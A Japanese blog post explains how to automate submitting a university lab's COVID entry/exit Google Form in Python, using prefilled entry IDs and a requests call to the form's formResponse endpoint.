今回は、Vue.jsを用いて画像のプレビュー機能実装についてご紹介しました。
Vue.jsでなくてももちろん実装できますが、比較的簡単なためVue.jsでの学習の第一歩としておすすめです。
コロナの入退室管理に打ち勝つGoogle formの自動回答

# はじめに

コロナウイルス関係で研究室の退室時に、その日の入退室時間をGoogle formで入力する必要があります。

毎日行うのが面倒なのと、入力忘れも多いので全自動にしてしまおうというプロジェクトです。

入退室時にカメラによる顔認証で人物を特定し、その人の情報をGoogle formで自動入力/送信します。

今回はその自動入力/送信の部分をまとめました。


# 自動入力の方法

Google フォームのURL(例)
(https://docs.google.com/viewform?)

viewformの後に「usp=pp_url」を加えることで、事前入力があることを知らせてあげる。

次に、フォームの各質問を識別する番号があるので、Chromeの検証画面で質問のdivを探し、2階層目で以下のような番号を探す。


![スクリーンショット 2020-11-07 12.57.41.png](:storage/5caf47d4-e4ec-4594-a71e-70ddd7894afc/969fb9e0.png)


番号を見つけたら`entry.番号=回答内容`の形でパラメータを加える。
以下のような形でつなげればok

```
https://~/viewform?usp=pp_url&entry.1534939278=テスト太郎&entry.511939456='+student_id
```


## 研究室の入退室報告の場合（メモ）

研究室の場合は氏名と学籍番号、入退室日時の入力が必要です。
識別番号は以下の通りとなっていました。

### 各入力の識別番号

氏名：208832475
学籍番号:913668226
入退室日時：1243542068
備考：1484015294



# プログラムの作成

識別番号がわかったので、実際にプログラムを書いていきま
す。

汎用性を高めるために、Google formごとに依存するurl、識別番号は`cfg.json`にまとめます。

`form_url`は`viewform?`の手前です。

```json:cfg.json
{
    "form_url": "https://docs.google.com/forms/6_m-WWhmzw/",
    "entry": {
        "name": 2005620554,
        "id": 1045781291,
        "time": 1065046570
    },
    "output":{
        "name": "テスト太郎",
        "id": "00110220404",
        "time": "2020/11/7 13-19"
    }
}
```

```python:form_.py
fname = "cfg.json"
with open(fname, "r") as f:
    cfg = json.load(f)

    # 回答フォームの作成
    params = {"entry.{}".format(cfg["entry"][k]): cfg["output"][k] for k in cfg["entry"].keys()}
    res = requests.get(cfg["form_url"] + "formResponse", params=params)

# 回答ができてるかの確認
if res.status_code == 200:
    print("Done!")
else:
    res.raise_for_status()
    print("Error")
```

これで自動送信が可能です。
(googleアカウントのログインが必要ない場合に限る)


# 参考

[毎朝5時にGoogle Formに自動回答したい - Qiita](https://qiita.com/kota-yata/items/9d4124ec7a7dd4e3d4f0)

[Google Form自動回答Botでクソアンケートに勝つ(Python3) - free(malloc(sizeof(MRM)));](https://admarimoin.hatenablog.com/entry/2018/11/19/002933)